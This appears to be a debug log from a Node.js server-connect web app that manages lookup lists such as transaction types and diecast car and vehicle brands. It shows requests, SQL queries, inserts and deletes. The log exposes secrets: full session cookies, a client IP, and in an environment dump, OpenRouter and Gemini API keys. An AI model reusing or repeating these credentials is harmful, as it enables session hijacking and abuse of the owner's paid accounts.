    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:26:40.874Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-03T13:26:40.874Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:26:40.874Z server-connect:app Executing action step identify
2026-02-03T13:26:40.874Z server-connect:app options: { provider: 'security' }
2026-02-03T13:26:40.874Z server-connect:output identity: 1
2026-02-03T13:26:40.874Z server-connect:app Executing action step restrict
2026-02-03T13:26:40.874Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:26:40.875Z server-connect:app Executing action step identify
2026-02-03T13:26:40.875Z server-connect:app options: { provider: 'security' }
2026-02-03T13:26:40.875Z server-connect:output identity: 1
2026-02-03T13:26:40.875Z server-connect:app Executing action step restrict
2026-02-03T13:26:40.875Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:26:40.876Z server-connect:output restrict: undefined
2026-02-03T13:26:40.876Z server-connect:app Executing action step select
2026-02-03T13:26:40.876Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-03T13:26:40.877Z server-connect:output restrict: undefined
2026-02-03T13:26:40.877Z server-connect:app Executing action step paged
2026-02-03T13:26:40.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:26:40.878Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-03T13:26:40.880Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 185,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T13:26:43.144Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:26:43.145Z server-connect:app Executing action step identify
2026-02-03T13:26:43.145Z server-connect:app options: { provider: 'security' }
2026-02-03T13:26:43.145Z server-connect:output identity: 1
2026-02-03T13:26:43.145Z server-connect:app Executing action step restrict
2026-02-03T13:26:43.145Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:26:43.146Z server-connect:output restrict: undefined
2026-02-03T13:26:43.146Z server-connect:app Executing action step paged
2026-02-03T13:26:43.146Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:26:43.147Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 51,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:26:48.162Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:26:48.162Z server-connect:app Executing action step identify
2026-02-03T13:26:48.162Z server-connect:app options: { provider: 'security' }
2026-02-03T13:26:48.163Z server-connect:output identity: 1
2026-02-03T13:26:48.163Z server-connect:app Executing action step restrict
2026-02-03T13:26:48.163Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:26:48.163Z server-connect:output restrict: undefined
2026-02-03T13:26:48.164Z server-connect:app Executing action step paged
2026-02-03T13:26:48.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:26:48.166Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:27:00.037Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:27:00.038Z server-connect:app Executing action step identify
2026-02-03T13:27:00.038Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:00.038Z server-connect:output identity: 1
2026-02-03T13:27:00.038Z server-connect:app Executing action step restrict
2026-02-03T13:27:00.038Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:00.038Z server-connect:output restrict: undefined
2026-02-03T13:27:00.038Z server-connect:app Executing action step condition
2026-02-03T13:27:00.038Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:27:00.039Z server-connect:app Executing action step insert
2026-02-03T13:27:00.039Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:27:00.039Z server-connect:output insert: { affected: 1, identity: 190 }
2026-02-03T13:27:00.039Z server-connect:output condition: undefined
2026-02-03T13:27:00.245Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:27:00.245Z server-connect:app Executing action step identify
2026-02-03T13:27:00.245Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:00.245Z server-connect:output identity: 1
2026-02-03T13:27:00.245Z server-connect:app Executing action step restrict
2026-02-03T13:27:00.245Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:00.246Z server-connect:output restrict: undefined
2026-02-03T13:27:00.246Z server-connect:app Executing action step paged
2026-02-03T13:27:00.246Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:27:00.247Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Plymouth',
      id: 190,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:27:04.215Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:27:04.215Z server-connect:app Executing action step identify
2026-02-03T13:27:04.215Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:04.215Z server-connect:output identity: 1
2026-02-03T13:27:04.216Z server-connect:app Executing action step restrict
2026-02-03T13:27:04.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:04.216Z server-connect:output restrict: undefined
2026-02-03T13:27:04.217Z server-connect:app Executing action step paged
2026-02-03T13:27:04.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:27:04.219Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Road Runner',
      id: 188,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:27:06.677Z server-connect:router Serving serverConnect /api/masters/collections/delete
2026-02-03T13:27:06.677Z server-connect:app Executing action step identify
2026-02-03T13:27:06.677Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:06.677Z server-connect:output identity: 1
2026-02-03T13:27:06.677Z server-connect:app Executing action step restrict
2026-02-03T13:27:06.677Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:06.678Z server-connect:output restrict: undefined
2026-02-03T13:27:06.678Z server-connect:app Executing action step delete
2026-02-03T13:27:06.678Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'collections',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `collections` where `id` = ?',
    params: [ [Object] ]
  }
}
2026-02-03T13:27:06.679Z server-connect:output delete: { affected: 1 }
2026-02-03T13:27:06.890Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:27:06.890Z server-connect:app Executing action step identify
2026-02-03T13:27:06.890Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:06.890Z server-connect:output identity: 1
2026-02-03T13:27:06.890Z server-connect:app Executing action step restrict
2026-02-03T13:27:06.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:06.891Z server-connect:output restrict: undefined
2026-02-03T13:27:06.891Z server-connect:app Executing action step paged
2026-02-03T13:27:06.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:27:06.892Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:27:24.227Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:27:24.228Z server-connect:app Executing action step identify
2026-02-03T13:27:24.228Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:24.228Z server-connect:output identity: 1
2026-02-03T13:27:24.228Z server-connect:app Executing action step restrict
2026-02-03T13:27:24.228Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:24.228Z server-connect:output restrict: undefined
2026-02-03T13:27:24.229Z server-connect:app Executing action step paged
2026-02-03T13:27:24.229Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:27:24.230Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Monte Carlo',
      id: 187,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:27:26.599Z server-connect:router Serving serverConnect /api/masters/collections/delete
2026-02-03T13:27:26.599Z server-connect:app Executing action step identify
2026-02-03T13:27:26.599Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:26.599Z server-connect:output identity: 1
2026-02-03T13:27:26.599Z server-connect:app Executing action step restrict
2026-02-03T13:27:26.599Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:26.600Z server-connect:output restrict: undefined
2026-02-03T13:27:26.600Z server-connect:app Executing action step delete
2026-02-03T13:27:26.600Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'collections',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `collections` where `id` = ?',
    params: [ [Object] ]
  }
}
2026-02-03T13:27:26.600Z server-connect:output delete: { affected: 1 }
2026-02-03T13:27:26.814Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:27:26.815Z server-connect:app Executing action step identify
2026-02-03T13:27:26.815Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:26.815Z server-connect:output identity: 1
2026-02-03T13:27:26.815Z server-connect:app Executing action step restrict
2026-02-03T13:27:26.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:26.815Z server-connect:output restrict: undefined
2026-02-03T13:27:26.816Z server-connect:app Executing action step paged
2026-02-03T13:27:26.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:27:26.817Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:27:34.320Z server-connect:router Serving templateView /diecast
2026-02-03T13:27:34.320Z server-connect:app Executing action step identify
2026-02-03T13:27:34.320Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.320Z server-connect:output identity: 1
2026-02-03T13:27:34.320Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.320Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:27:34.321Z server-connect:output restrict: undefined
2026-02-03T13:27:34.321Z server-connect:router Render template diecast
2026-02-03T13:27:34.321Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
